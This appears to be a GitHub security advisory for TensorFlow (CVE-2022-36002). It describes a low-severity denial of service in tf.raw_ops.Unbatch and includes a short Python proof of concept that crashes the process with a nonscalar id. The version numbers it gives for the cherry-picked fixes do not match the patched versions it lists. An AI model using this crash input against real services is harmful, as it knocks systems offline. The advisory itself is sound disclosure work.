Skip to content

`CHECK` fail in `Unbatch`

Low
pak-laura published GHSA-mh3m-62v7-68xg Sep 15, 2022

Package

pip tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions

< 2.10.0

Patched versions

2.7.4, 2.8.3, 2.9.2, 2.10.0

Description

Impact

When Unbatch receives a nonscalar input id, it gives a CHECK fail that can trigger a denial of service attack.

import tensorflow as tf
import numpy as np
arg_0=tf.constant(value=np.random.random(size=(3, 3, 1)), dtype=tf.float64)
arg_1=tf.constant(value=np.random.randint(0,100,size=(3, 3, 1)), dtype=tf.int64)
arg_2=tf.constant(value=np.random.randint(0,100,size=(3, 3,  1)), dtype=tf.int64)
arg_3=47
arg_4=''
arg_5=''
tf.raw_ops.Unbatch(batched_tensor=arg_0, batch_index=arg_1, id=arg_2, 
                   timeout_micros=arg_3, container=arg_4, shared_name=arg_5)

Patches

We have patched the issue in GitHub commit 4419d10d576adefa36b0e0a9425d2569f7c0189f.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.

Severity

Low

CVE ID

CVE-2022-36002

Weaknesses

No CWEs